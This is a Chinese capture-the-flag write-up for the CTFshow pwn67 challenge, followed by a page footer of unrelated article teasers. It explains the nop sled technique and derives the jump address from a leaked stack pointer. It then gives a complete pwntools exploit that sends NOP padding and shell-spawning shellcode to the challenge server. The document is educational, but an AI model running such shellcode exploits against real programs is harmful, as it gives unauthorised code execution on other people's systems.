CTFshow-pwn入门-pwn67(nop sled空操作雪橇)

news2024/11/17 1:39:48

前言

本人由于今年考研可能更新的特别慢,不能把ctfshow的pwn入门题目的wp一一都写出来了,时间比较紧啊,只能做高数做累的时候做做pwn写写wp了,当然我之后只挑典型意义的题目写wp了,其余的题目就留到12月底考完之后再写了…-_-…

pwn67(nop sled空操作雪橇)

在这里插入图片描述
首先我们先把pwn文件下载下来,托到虚拟机里加上可执行权限,使用checksec命令查看一下文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
我们可以看到这是一个32位的程序,并且开启了canary保护,但是呢没有开启NX和PIE,代表还是可以将我们的shellcode写到栈上去执行的。

我们先将文件拖入IDA反编译一下。得到的反汇编代码如下:

// main
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *position; // eax
  void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
  unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

  seed[1025] = (unsigned int)&argc;
  seed[1024] = __readgsdword(0x14u);
  setbuf(stdout, 0);
  logo();
  srand((unsigned int)seed);
  Loading();
  acquire_satellites();
  position = query_position();
  printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
  printf("What will you do?\n> ");
  fgets((char *)seed, 4096, stdin);
  printf("Where do you start?\n> ");
  __isoc99_scanf((int)"%p", (int)&v5);
  v5();
  return 0;
}
// *query_position
char *query_position()
{
  char v1; // [esp+3h] [ebp-15h] BYREF
  int v2; // [esp+4h] [ebp-14h]
  char *v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v2 = rand() % 1337 - 668;
  v3 = &v1 + v2;
  return &v1 + v2;
}

代码的大概逻辑就是先输出一些banner信息,然后输出的会有栈中的地址,从query_position函数可以发现函数返回值是v1的地址加上v2的值,而v1是局部变量,那么它的地址就是栈里的地址,加上v2就代表接收函数返回值的变量position=v1的地址+v2的值(即&v1+v2)。然后程序会让我们输入大小为4096的字符串给seed变量,之后再让我们输入一个地址,将其赋给v5,然后使用v5()从我们输入的这个地址执行这个地址的代码。

由于开启了canary保护,我们的栈溢出就受到了阻碍,一般的canary保护开启,我们可以采用泄露canary的地址来打,但是本题目泄露了栈的地址,而且题目也提示我们是nop sled,所以我们就使用nop sled空操作雪橇来打。

什么是nop sled

nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。

也就是我们现在栈中的某个位置填入大量nop指令,后边再接上我们的shellcode,然后我们控制程序的执行流从我们nop指令开始执行,那么程序就会一直执行我们之前填入的nop,执行nop之后就是我们的shellcode了,这样程序就成功的被我们pwn掉了。

计算我们填入nop sled的位置

因为程序最后使用的是v5(),v5又是我们输入的地址,执行v5()就相当于从我们输入的地址开始执行。

我们输入的nop指令+shellcode是通过gets函数放到了seed变量中,那我们输入的地址就必须在shellcode之前和第一个nop指令之后。如果我们输入的数据放在了第一个nop指令之前,那我们就无法执行nop指令了;如果我们放在了shellcode之后,那执行的时候,就会从shellcode之后执行,这样就不能完整的执行整个shellcode。
在这里插入图片描述
大致位置在哪已经清楚,那我们如何具体确定这个地址在哪呢?

我们就可以结束main函数泄露出的position这个变量的值,因为这个值是v1的地址+v2的值,并且v2的是为rand()%1337 - 668。rand()是生成一个随机数字,rand()%1337代表生成的这个随机数对1337取模,那么这个值rand()%1337的值就为0~1336。然后再减去668,那么v2的取值就为-668~668。

由于v1是*query_position()函数的局部变量,那么我们的v1就一定在栈上,我们就利用v1的地址来确定我们输进v5的地址是多少。

这里为了清楚,我们得画出执行到*query_position()函数时,栈的布局是怎样的。

这里展示了main函数从开始到执行到*query_position()函数的汇编代码,我们要分析一下栈中的操作是如何变化的。

.text:0804894F 55                            push    ebp
.text:08048950 89 E5                         mov     ebp, esp
.text:08048952 53                            push    ebx
.text:08048953 51                            push    ecx
.text:08048954 81 EC 10 10 00 00             sub     esp, 1010h
.text:0804895A E8 41 FC FF FF                call    __x86_get_pc_thunk_bx
.text:0804895A
.text:0804895F 81 C3 A1 26 00 00             add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048965 65 A1 14 00 00 00             mov     eax, large gs:14h
.text:0804896B 89 45 F4                      mov     [ebp+var_C], eax
.text:0804896E 31 C0                         xor     eax, eax
.text:08048970 8B 83 FC FF FF FF             mov     eax, ds:(stdout_ptr - 804B000h)[ebx]
.text:08048976 8B 00                         mov     eax, [eax]
.text:08048978 83 EC 08                      sub     esp, 8
.text:0804897B 6A 00                         push    0                               ; buf
.text:0804897D 50                            push    eax                             ; stream
.text:0804897E E8 0D FB FF FF                call    _setbuf
.text:0804897E
.text:08048983 83 C4 10                      add     esp, 10h
.text:08048986 E8 B8 FE FF FF                call    logo
.text:08048986
.text:0804898B 8D 85 F4 EF FF FF             lea     eax, [ebp+seed]
.text:08048991 83 EC 0C                      sub     esp, 0Ch
.text:08048994 50                            push    eax                             ; seed
.text:08048995 E8 56 FB FF FF                call    _srand
.text:08048995
.text:0804899A 83 C4 10                      add     esp, 10h
.text:0804899D E8 C4 FC FF FF                call    Loading
.text:0804899D
.text:080489A2 E8 2B FD FF FF                call    acquire_satellites
.text:080489A2
.text:080489A7 E8 25 FE FF FF                call    query_position

栈首先是将调用main函数的函数的ebp压到栈顶,然后push了一个ebx和一个ecx,接着由将esp减少了0x1010,此时栈顶为ebp-0x4-0x4-0x1010,32位一个存储单元4字节。然后呢,又有了esp减去了8,push了一个eax和0,这时栈顶位ebp-0x4-0x4-0x1010-0x8-0x4-0x4。之后呢运行过setbuf函数,esp又增加了0x10,此时esp为ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010。再然后esp又减去了0xc,并且又push了一个eax,那么此时栈顶为ebp-0x4-0x4-0x1010-0xc-0x4。执行完srand函数之后esp又增加了0x10,那么此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010。之后调用完Louding函数和acquire_satellites函数就是*query_position函数了。从IDA反编译结果在*query_position函数中就可以看到局部变量相对query_position函数ebp的位置了。

在这里插入图片描述
可以看到v1是在query_position函数ebp-0x15的位置。
那么此时栈的布局图就是这样的:
在这里插入图片描述
我们可以看出来v1距离seed的位置是0x15+0x4+0x4+0x10=0x2d,
我们令random=rand()%1337,v2=rand()%1337-668=random-668,
那么position=&v1+v2=&v1+random-668(random∈(0,1336)),
则&v1=position+668-random,&seed=&v1+0x2d=position+0x2d+668-random,而我们的nop指令+shellcode是写到seed里的,又因为前面说了我们输进v5的地址要在第一个nop指令之后,因为第一个nop指令也就是seed在栈中的位置,所以我们输进v5的地址应该是&seed加上某个数值,那我们就可以将position+0x2d+668输进v5,因为position+0x2d+668=&seed+random,由于我们seed大小是0x1000=4096,而random是0~1336,所以可以放心加。
在这里插入图片描述
因为输进v5的地址要在shellcode之前,那么我们的nop指令数就要大于=random,random∈(0,1336),那我们就将nop指令数设置为1336。这样我们就有payload以及输进v5的地址。

payload为1336*nop + shellcode
地址为:position + 0x2d + 668

编写exp

from pwn import *
context.arch = "i386"
#context.log_level = "debug"

io = process("./pwn")
io = remote("pwn.challenge.ctf.show","28144")
io.recvuntil("current location: ")
# 接收position
addr = eval(io.recvuntil("\n",drop=True))
print hex(addr)
# \x90为nop指令
payload = "\x90" * 1336 + asm(shellcraft.sh())
io.recvuntil("> ")
io.sendline(payload)
# 输进v5的地址
shell_addr = addr + 0x2d + 668
io.recvuntil("> ")
io.sendline(hex(shell_addr))
io.interactive()

在这里插入图片描述
发现ctfshow_flag,直接cat读取!
在这里插入图片描述
成功拿到flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/805710.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Sugar BI : AI 问答,即问即答

AI 探索功能提供给所有用户自由探索和分析数据模型的能力。在 AI 探索页中,有授权的用户可以通过 AI 问答和字段拖拽两种方式对数据模型进行探索。 下面,我们将为大家详细指导如何使用 AI 探索 新建 AI 探索页 空间管理员可以在报表管理中新建「AI 探索…

短视频矩阵系统源码---开发技术源码能力

短视频矩阵系统开发涉及到多个领域的技术,包括视频编解码技术、大数据处理技术、音视频传输技术、电子商务及支付技术等。因此,短视频矩阵系统开发人员需要具备扎实的计算机基础知识、出色的编程能力、熟练掌握多种开发工具和框架,并掌握音视…

UE Web Remote Control call python script

UE Web Remote Control call python script UE 远程调用Python(UE Python API)脚本 Web Remote Control 在网页客户端远程操作虚幻引擎项目。 虚幻编辑器提供了一套强大的工具,几乎可以操纵项目内容的方方面面。但在某些情况下,要在大型内容编辑流程中…

使用SVM模型完成分类任务

SVM,即支持向量机(Support Vector Machine),是一种常见的机器学习算法,用于分类和回归分析。SVM的基本思想是将数据集映射到高维空间中,在该空间中找到一个最优的超平面,将不同类别的数据点分开…

国企普通员工如何才能成为公务员,这三种途径可供参考

国企普通员工如何转变成公务员?作为国企普通员工,如果要成为国家公务员,其主要的路径有三个方面,一是符合国家公务员法规定的公务员招录条件要求的,可以报考国家公务员;二是在国有企业担任领导职务&#xf…

使用EM算法完成聚类任务

EM算法(Expectation-Maximization Algorithm)是一种基于迭代优化的聚类算法,用于在无监督的情况下将数据集分成几个不同的组或簇。EM算法是一种迭代算法,包含两个主要步骤:期望步骤(E-step)和最…

子网重叠测试

子网重叠的两个网络可以相互通 虽然子网掩码不同&#xff0c;但是 R1 可以 ping R2&#xff1a; <R1>ping 10.0.12.14PING 10.0.12.14: 56 data bytes, press CTRL_C to breakReply from 10.0.12.14: bytes56 Sequence1 ttl255 time50 msReply from 10.0.12.14: bytes5…

Verilog语法学习——LV4_移位运算与乘法

LV4_移位运算与乘法 题目来源于牛客网 [牛客网在线编程_Verilog篇_Verilog快速入门 (nowcoder.com)](https://www.nowcoder.com/exam/oj?page1&tabVerilog篇&topicId301) 题目 题目描述&#xff1a; 已知d为一个8位数&#xff0c;请在每个时钟周期分别输出该数乘1/…

利用小波分解信号,再重构

function [ output_args ] example4_5( input_args ) %EXAMPLE4_5 Summary of this function goes here % Detailed explanation goes here clc; clear; load leleccum; s leleccum(1:3920); % 进行3层小波分解&#xff0c;小波基函数为db2 [c,l] wavedec(s,3,db2); %进行…

剑指 Offer 37. 序列化二叉树 / LeetCode297. 二叉树的序列化与反序列化(二叉树遍历(深度优先搜索))

题目&#xff1a; 链接&#xff1a;剑指 Offer 37. 序列化二叉树&#xff1b;LeetCode 297. 二叉树的序列化与反序列化 难度&#xff1a;困难 序列化是将一个数据结构或者对象转换为连续的比特位的操作&#xff0c;进而可以将转换后的数据存储在一个文件或者内存中&#xff0…

【雕爷学编程】Arduino动手做(99)---8X32 LED点阵屏模块3

37款传感器与执行器的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&am…

基于Java+SpringBoot+vue前后端分离新闻推荐系统设计实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

windows系统MySQL5.7小版本升级

此次是windows系统下&#xff0c;将mysql 5.7.38升级到5.7.43&#xff08;当前最新版本&#xff09;。 由于是第一次升级mysql数据库&#xff0c;在网上看了好多资料&#xff0c;发现升级都挺麻烦的&#xff0c;后来无意中看到一篇文章&#xff0c;升级超级简单&#xff0c;地…

【VTK】基于读取出来的 STL 模型,当用户点击鼠标左键时,程序将获取点击位置的点,显示其坐标,并设置它为模型的旋转原点

知识不是单独的&#xff0c;一定是成体系的。更多我的个人总结和相关经验可查阅这个专栏&#xff1a;Visual Studio。 文章目录 class PointPickedSignal : public QObjectclass MouseInteractorCommand : public vtkCommandvoid A::on_pushButtonSelected_clicked()void A::on…

2023牛客多校第三场 B.Auspiciousness

传送门 前题提要:没得说,赛时根本没想到dp,赛后翻各大题解看了很久,终于懂了dp的做法,故准备写一篇题解. 首先,先定义一下我们的 d p dp dp方程,考虑将处于 [ 1 , n ] [1,n] [1,n]的数当做小数,将处于 [ n 1 , 2 ∗ n ] [n1,2*n] [n1,2∗n]的数当做大数.那么对于我们的摸牌结…

CorelDraw怎么做立体字效果?CorelDraw制作漂亮的3d立体字教程

1、打开软件CorelDRAW 2019&#xff0c;用文本工具写上我们所需要的大标题。建议字体选用比较粗的适合做标题的字体。 2、给字填充颜色&#xff0c;此时填充的颜色就是以后立体字正面的颜色。我填充了红色&#xff0c;并加上了灰色的描边。 3、选中文本&#xff0c;单击界面左侧…

04-树6 Complete Binary Search Tree

思路&#xff1a; 先排序 用数组建一棵空树 中序遍历填数 顺序输出即为层次遍历

ClickHouse(五):Clickhouse客户端命令行参数

进入正文前&#xff0c;感谢宝子们订阅专题、点赞、评论、收藏&#xff01;关注IT贫道&#xff0c;获取高质量博客内容&#xff01; &#x1f3e1;个人主页&#xff1a;含各种IT体系技术,IT贫道_Apache Doris,Kerberos安全认证,大数据OLAP体系技术栈-CSDN博客 &#x1f4cc;订阅…

【EI/SCOPUS会议征稿】2023年第四届新能源与电气科技国际学术研讨会 (ISNEET 2023)

作为全球科技创新大趋势的引领者&#xff0c;中国一直在为科技创新创造越来越开放的环境&#xff0c;提高学术合作的深度和广度&#xff0c;构建惠及全民的创新共同体。这些努力为全球化和创建共享未来的共同体做出了新的贡献。 为交流近年来国内外在新能源和电气技术领域的最新…

Golang之路---01 Golang的安装与配置

Golang之路—01 Golang语言安装与配置 官网上下载Windows环境下的安装包 官网下载地址 双击下载后的文件进行安装&#xff0c;可根据需要自定义选择解压后的文件位置。 接着新创建一个文件夹&#xff0c;保存Golang语言项目。 在里面新建bin,pkg,src三个文件夹。 环境变量…